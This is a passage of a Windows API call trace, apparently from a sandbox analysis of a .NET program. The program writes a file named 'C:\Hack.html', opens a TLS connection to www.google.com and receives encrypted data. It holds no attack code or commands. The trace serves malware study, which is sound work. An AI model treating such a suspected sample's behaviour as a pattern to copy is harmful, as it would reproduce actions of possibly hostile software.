hFile=0x26c, lpBuffer=0x26b8d98*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed98, lpOverlapped=0x0 | out: lpBuffer=0x26b8d98*, lpNumberOfBytesWritten=0x39ed98*=0xba, lpOverlapped=0x0) returned 1 [0096.986] CloseHandle (hObject=0x26c) returned 1 [0096.986] GetFullPathNameW (in: lpFileName="C:\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e85c, lpFilePart=0x0 | out: lpBuffer="C:\\Hack.html", lpFilePart=0x0) returned 0xc [0096.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed50) returned 1 [0096.986] CreateFileW (lpFileName="C:\\Hack.html" (normalized: "c:\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0096.986] GetFileType (hFile=0x26c) returned 0x1 [0096.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed4c) returned 1 [0096.986] GetFileType (hFile=0x26c) returned 0x1 [0096.986] WriteFile (in: hFile=0x26c, lpBuffer=0x26bb4d0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39edcc, lpOverlapped=0x0 | out: lpBuffer=0x26bb4d0*, lpNumberOfBytesWritten=0x39edcc*=0xba, lpOverlapped=0x0) returned 1 [0096.987] CloseHandle (hObject=0x26c) returned 1 [0097.014] QueryPerformanceCounter (in: lpPerformanceCount=0x39ee0c | out: lpPerformanceCount=0x39ee0c*=1817171200000) returned 1 [0097.014] SetEvent (hEvent=0x25c) returned 1 [0097.014] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec44*=0x2d4, lpdwindex=0x39ea64 | out: lpdwindex=0x39ea64) returned 0x80010115 [0097.014] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0097.015] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0097.015] NtdllDefWindowProc_W () returned 0x1 [0097.015] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec24*=0x2c4, lpdwindex=0x39ea44 | out: lpdwindex=0x39ea44) returned 0x80010115 [0097.015] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec24*=0x2cc, lpdwindex=0x39ea44 | out: lpdwindex=0x39ea44) returned 0x80010115 [0097.015] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec78*=0x2f4, lpdwindex=0x39ea94 | out: lpdwindex=0x39ea94) returned 0x80010115 [0097.015] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec78*=0x2fc, lpdwindex=0x39ea94 | out: lpdwindex=0x39ea94) returned 0x80010115 [0097.015] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec78*=0x304, lpdwindex=0x39ea94 | out: lpdwindex=0x39ea94) returned 0x80010115 [0097.016] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x26c [0097.016] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x34c [0097.016] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x39eb78*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x39eb20 | out: ppResult=0x39eb20*=0x62449d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x62449f8*(sa_family=2, sin_port=0x0, sin_addr="172.217.22.36"), ai_next=0x0)) returned 0 [0097.019] FreeAddrInfoW (pAddrInfo=0x62449d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x62449f8*(sa_family=2, sin_port=0x0, sin_addr="172.217.22.36"), ai_next=0x0)) [0097.020] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39eac0*=0x3e0, lpdwindex=0x39e8dc | out: lpdwindex=0x39e8dc) returned 0x80010115 [0097.020] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39eac0*=0x3e8, lpdwindex=0x39e8dc | out: lpdwindex=0x39e8dc) returned 0x80010115 [0097.020] WSAConnect (in: s=0x26c, name=0x26be3c8*(sa_family=2, sin_port=0x1bb, sin_addr="172.217.22.36"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0097.042] closesocket (s=0x34c) returned 0 [0097.102] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x39d5a0 | out: phkResult=0x39d5a0*=0x0) returned 0x2 [0097.113] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x39eabc | out: phkResult=0x39eabc*=0x34c) returned 0x0 [0097.113] RegQueryValueExW (in: hKey=0x34c, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x39ead8, lpData=0x0, lpcbData=0x39ead4*=0x0 | out: lpType=0x39ead8*=0x0, lpData=0x0, lpcbData=0x39ead4*=0x0) returned 0x2 [0097.113] RegCloseKey (hKey=0x34c) returned 0x0 [0097.202] EnumerateSecurityPackagesW (in: pcPackages=0x39eac8, ppPackageInfo=0x39ea5c | out: pcPackages=0x39eac8, ppPackageInfo=0x39ea5c) returned 0x0 [0097.208] FreeContextBuffer (in: pvContextBuffer=0x5957b8 | out: pvContextBuffer=0x5957b8) returned 0x0 [0097.213] GetCurrentProcess () returned 0xffffffff [0097.213] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e8a8 | out: TokenHandle=0x39e8a8*=0x34c) returned 1 [0097.214] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x26bff60, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x39e8fc, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x26c14ec, ptsExpiry=0x39e880 | out: phCredential=0x26c14ec, ptsExpiry=0x39e880) returned 0x0 [0097.960] InitializeSecurityContextW (in: phCredential=0x39e8c0, phContext=0x0, pTargetName=0x26be418, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x26c16e0, pOutput=0x26c1678, pfContextAttr=0x26bff34, ptsExpiry=0x39e8b8 | out: phNewContext=0x26c16e0, pOutput=0x26c1678, pfContextAttr=0x26bff34, ptsExpiry=0x39e8b8) returned 0x90312 [0097.961] FreeContextBuffer (in: pvContextBuffer=0x527cc0 | out: pvContextBuffer=0x527cc0) returned 0x0 [0097.963] send (in: s=0x26c, buf=0x26c16f4*, len=118, flags=0 | out: buf=0x26c16f4*) returned 118 [0097.964] recv (in: s=0x26c, buf=0x26c16f4, len=5, flags=0 | out: buf=0x26c16f4*) returned 5 [0097.998] recv (in: s=0x26c, buf=0x26c16f9, len=87, flags=0 | out: buf=0x26c16f9*) returned 87 [0097.999] InitializeSecurityContextW (in: phCredential=0x39e824, phContext=0x39e8b0, pTargetName=0x26be418, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x26c18f8, Reserved2=0x0, phNewContext=0x26c16e0, pOutput=0x26c190c, pfContextAttr=0x26bff34, ptsExpiry=0x39e81c | out: phNewContext=0x26c16e0, pOutput=0x26c190c, pfContextAttr=0x26bff34, ptsExpiry=0x39e81c) returned 0x90312 [0097.999] recv (in: s=0x26c, buf=0x26c199c, len=5, flags=0 | out: buf=0x26c199c*) returned 5 [0097.999] recv (in: s=0x26c, buf=0x26c19b5, len=2104, flags=0 | out: buf=0x26c19b5*) returned 2104 [0097.999] InitializeSecurityContextW (in: phCredential=0x39e78c, phContext=0x39e818, pTargetName=0x26be418, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x26c2260, Reserved2=0x0, phNewContext=0x26c16e0, pOutput=0x26c2274, pfContextAttr=0x26bff34, ptsExpiry=0x39e784 | out: phNewContext=0x26c16e0, pOutput=0x26c2274, pfContextAttr=0x26bff34, ptsExpiry=0x39e784) returned 0x90312 [0098.000] recv (in: s=0x26c, buf=0x26c2304, len=5, flags=0 | out: buf=0x26c2304*) returned 5 [0098.000] recv (in: s=0x26c, buf=0x26c231d, len=147, flags=0 | out: buf=0x26c231d*) returned 147 [0098.000] InitializeSecurityContextW (in: phCredential=0x39e6f4, phContext=0x39e780, pTargetName=0x26be418, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x26c2420, Reserved2=0x0, phNewContext=0x26c16e0, pOutput=0x26c2434, pfContextAttr=0x26bff34, ptsExpiry=0x39e6ec | out: phNewContext=0x26c16e0, pOutput=0x26c2434, pfContextAttr=0x26bff34, ptsExpiry=0x39e6ec) returned 0x90312 [0098.000] recv (in: s=0x26c, buf=0x26c24c4, len=5, flags=0 | out: buf=0x26c24c4*) returned 5 [0098.001] recv (in: s=0x26c, buf=0x26c24dd, len=4, flags=0 | out: buf=0x26c24dd*) returned 4 [0098.001] InitializeSecurityContextW (in: phCredential=0x39e65c, phContext=0x39e6e8, pTargetName=0x26be418, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x26c2554, Reserved2=0x0, phNewContext=0x26c16e0, pOutput=0x26c2568, pfContextAttr=0x26bff34, ptsExpiry=0x39e654 | out: phNewContext=0x26c16e0, pOutput=0x26c2568, pfContextAttr=0x26bff34, ptsExpiry=0x39e654) returned 0x90312 [0098.036] FreeContextBuffer (in: pvContextBuffer=0x599ce0 | out: pvContextBuffer=0x599ce0) returned 0x0 [0098.036] send (in: s=0x26c, buf=0x26c25e4*, len=134, flags=0 | out: buf=0x26c25e4*) returned 134 [0098.036] recv (in: s=0x26c, buf=0x26c25e4, len=5, flags=0 | out: buf=0x26c25e4*) returned 5 [0098.058] recv (in: s=0x26c, buf=0x26c25e9, len=1, flags=0 | out: buf=0x26c25e9*) returned 1 [0098.059] InitializeSecurityContextW (in: phCredential=0x39e5c4, phContext=0x39e650, pTargetName=0x26be418, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x26c26f0, Reserved2=0x0, phNewContext=0x26c16e0, pOutput=0x26c2704, pfContextAttr=0x26bff34, ptsExpiry=0x39e5bc | out: phNewContext=0x26c16e0, pOutput=0x26c2704, pfContextAttr=0x26bff34, ptsExpiry=0x39e5bc) returned 0x90312 [0098.059] recv (in: s=0x26c, buf=0x26c2794, len=5, flags=0 | out: buf=0x26c2794*) returned 5 [0098.059] recv (in: s=0x26c, buf=0x26c27ad, len=48, flags=0 | out: buf=0x26c27ad*) returned 48 [0098.059] InitializeSecurityContextW (in: phCredential=0x39e52c, phContext=0x39e5b8, pTargetName=0x26be418, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x26c2850, Reserved2=0x0, phNewContext=0x26c16e0, pOutput=0x26c2864, pfContextAttr=0x26bff34, ptsExpiry=0x39e524 | out: phNewContext=0x26c16e0, pOutput=0x26c2864, pfContextAttr=0x26bff34, ptsExpiry=0x39e524) returned 0x0 [0098.340] QueryContextAttributesW (in: phContext=0x26c16e0, ulAttribute=0x4, pBuffer=0x26c2910 | out: pBuffer=0x26c2910) returned 0x0 [0098.341] QueryContextAttributesW (in: phContext=0x26c16e0, ulAttribute=0x5a, pBuffer=0x26c2968 | out: pBuffer=0x26c2968) returned 0x0 [0098.349] QueryContextAttributesW (in: phContext=0x26c16e0, ulAttribute=0x53, pBuffer=0x26c2c1c | out: pBuffer=0x26c2c1c) returned 0x0 [0098.370] CertDuplicateCRLContext (pCrlContext=0x5847a0) returned 0x5847a0 [0098.370] CertDuplicateStore (hCertStore=0x570088) returned 0x570088 [0098.371] CertEnumCertificatesInStore (hCertStore=0x570088, pPrevCertContext=0x0) returned 0x5847f0 [0098.371] CertDuplicateCRLContext (pCrlContext=0x5847f0) returned 0x5847f0 [0098.371] CertEnumCertificatesInStore (hCertStore=0x570088, pPrevCertContext=0x5847f0) returned 0x5847a0 [0098.371] CertDuplicateCRLContext (pCrlContext=0x5847a0) returned 0x5847a0 [0098.371] CertEnumCertificatesInStore (hCertStore=0x570088, pPrevCertContext=0x5847a0) returned 0x0 [0098.371] CertCloseStore (hCertStore=0x570088, dwFlags=0x0) returned 1 [0098.371] CertFreeCRLContext (pCrlContext=0x5847a0) returned 1 [0098.381] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x58e3d0 [0098.383] CertAddCRLLinkToStore (in: hCertStore=0x58e3d0, pCrlContext=0x5847f0, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0098.384] CertAddCRLLinkToStore (in: hCertStore=0x58e3d0, pCrlContext=0x5847a0, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0098.393] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x5847a0, pTime=0x39e538, hAdditionalStore=0x58e3d0, pChainPara=0x39e478, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x39e46c | out: ppChainContext=0x39e46c) returned 1 [0099.013] CertDuplicateCertificateChain (pChainContext=0x68d7510) returned 0x68d7510 [0099.014] CertDuplicateCRLContext (pCrlContext=0x5847a0) returned 0x5847a0 [0099.014] CertDuplicateCRLContext (pCrlContext=0x690ae48) returned 0x690ae48 [0099.014] CertDuplicateCRLContext (pCrlContext=0x690ae98) returned 0x690ae98 [0099.014] CertFreeCertificateChain (pChainContext=0x68d7510) [0099.015] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x68d7510, pPolicyPara=0x39e618, pPolicyStatus=0x39e604 | out: pPolicyStatus=0x39e604) returned 1 [0099.015] SetLastError (dwErrCode=0x0) [0099.017] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x68d7510, pPolicyPara=0x39e684, pPolicyStatus=0x39e62c | out: pPolicyStatus=0x39e62c) returned 1 [0099.018] CertFreeCertificateChain (pChainContext=0x68d7510) [0099.018] CertFreeCRLContext (pCrlContext=0x5847a0) returned 1 [0099.020] CoTaskMemAlloc (cb=0x20c) returned 0x692fd30 [0099.020] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x692fd30, nSize=0x104 | out: lpBuffer="\xcb60\x68d\xd298\x6d3\x73\x74\x65\x6d\x52\x6f\x6f\x74\x25\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x64\x6e\x73\x61\x70\x69\x2e\x64\x6c\x6c\x2c\x2d\x31\x30\x33") returned 0x0 [0099.021] CoTaskMemFree (pv=0x692fd30) [0099.021] CoTaskMemAlloc (cb=0x20c) returned 0x692fd30 [0099.021] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x692fd30, nSize=0x104 | out: lpBuffer="\xcb60\x68d\xd298\x6d3\x73\x74\x65\x6d\x52\x6f\x6f\x74\x25\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x64\x6e\x73\x61\x70\x69\x2e\x64\x6c\x6c\x2c\x2d\x31\x30\x33") returned 0x0 [0099.021] CoTaskMemFree (pv=0x692fd30) [0099.021] CoTaskMemAlloc (cb=0x20c) returned 0x692fd30 [0099.021] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x692fd30, nSize=0x104 | out: lpBuffer="\xcb60\x68d\xd298\x6d3\x73\x74\x65\x6d\x52\x6f\x6f\x74\x25\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x64\x6e\x73\x61\x70\x69\x2e\x64\x6c\x6c\x2c\x2d\x31\x30\x33") returned 0x0 [0099.021] CoTaskMemFree (pv=0x692fd30) [0099.021] CoTaskMemAlloc (cb=0x20c) returned 0x692fd30 [0099.021] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x692fd30, nSize=0x104 | out: lpBuffer="\xcb60\x68d\xd298\x6d3\x73\x74\x65\x6d\x52\x6f\x6f\x74\x25\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x64\x6e\x73\x61\x70\x69\x2e\x64\x6c\x6c\x2c\x2d\x31\x30\x33") returned 0x0 [0099.021] CoTaskMemFree (pv=0x692fd30) [0099.022] EncryptMessage (in: phContext=0x26c16e0, fQOP=0x0, pMessage=0x26caaa8, MessageSeqNo=0x0 | out: pMessage=0x26caaa8) returned 0x0 [0099.022] send (in: s=0x26c, buf=0x26c9580*, len=101, flags=0 | out: buf=0x26c9580*) returned 101 [0099.023] setsockopt (s=0x26c, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0099.023] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.115] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.118] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dae00, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dae00, pfQOP=0x0) returned 0x0 [0099.134] GetCurrentProcess () returned 0xffffffff [0099.134] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ea20 | out: TokenHandle=0x39ea20*=0x5a0) returned 1 [0099.135] GetCurrentProcess () returned 0xffffffff [0099.135] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ea30 | out: TokenHandle=0x39ea30*=0x5a4) returned 1 [0099.136] setsockopt (s=0x26c, level=65535, optname=4102, optval="\xf4\x01", optlen=4) returned 0 [0099.136] QueryPerformanceCounter (in: lpPerformanceCount=0x39ee00 | out: lpPerformanceCount=0x39ee00*=1817383500000) returned 1 [0099.139] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817383800000) returned 1 [0099.156] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.156] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.157] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dd8ec, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dd8ec, pfQOP=0x0) returned 0x0 [0099.157] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385600000) returned 1 [0099.157] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.157] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.157] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dda0c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dda0c, pfQOP=0x0) returned 0x0 [0099.157] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385600000) returned 1 [0099.157] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.157] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.158] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26ddb2c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26ddb2c, pfQOP=0x0) returned 0x0 [0099.158] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385600000) returned 1 [0099.158] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.158] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.158] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26ddc4c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26ddc4c, pfQOP=0x0) returned 0x0 [0099.158] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385700000) returned 1 [0099.158] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.158] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.158] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26ddd6c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26ddd6c, pfQOP=0x0) returned 0x0 [0099.158] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385700000) returned 1 [0099.159] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.159] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.159] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dde8c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dde8c, pfQOP=0x0) returned 0x0 [0099.159] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385700000) returned 1 [0099.159] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.159] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.159] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26ddfac, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26ddfac, pfQOP=0x0) returned 0x0 [0099.159] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385800000) returned 1 [0099.159] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.159] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.159] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de0cc, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de0cc, pfQOP=0x0) returned 0x0 [0099.159] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385800000) returned 1 [0099.159] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.160] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.160] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de1ec, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de1ec, pfQOP=0x0) returned 0x0 [0099.160] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385800000) returned 1 [0099.160] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.160] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.160] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de30c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de30c, pfQOP=0x0) returned 0x0 [0099.160] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385900000) returned 1 [0099.160] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.160] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.160] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de42c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de42c, pfQOP=0x0) returned 0x0 [0099.160] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385900000) returned 1 [0099.160] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.160] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.161] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de54c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de54c, pfQOP=0x0) returned 0x0 [0099.161] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817385900000) returned 1 [0099.161] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.161] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.161] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de66c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de66c, pfQOP=0x0) returned 0x0 [0099.161] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386000000) returned 1 [0099.161] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.161] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.161] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de78c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de78c, pfQOP=0x0) returned 0x0 [0099.161] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386000000) returned 1 [0099.161] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.161] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.161] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de8ac, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de8ac, pfQOP=0x0) returned 0x0 [0099.162] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386000000) returned 1 [0099.162] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.162] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.162] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26de9cc, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26de9cc, pfQOP=0x0) returned 0x0 [0099.162] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386100000) returned 1 [0099.162] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.162] recv (in: s=0x26c, buf=0x26d6d45, len=672, flags=0 | out: buf=0x26d6d45*) returned 672 [0099.162] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26deaec, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26deaec, pfQOP=0x0) returned 0x0 [0099.162] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386100000) returned 1 [0099.162] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.163] recv (in: s=0x26c, buf=0x26d6d45, len=192, flags=0 | out: buf=0x26d6d45*) returned 192 [0099.163] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dec0c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dec0c, pfQOP=0x0) returned 0x0 [0099.163] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386100000) returned 1 [0099.163] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.163] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.163] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26ded2c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26ded2c, pfQOP=0x0) returned 0x0 [0099.163] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386200000) returned 1 [0099.163] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 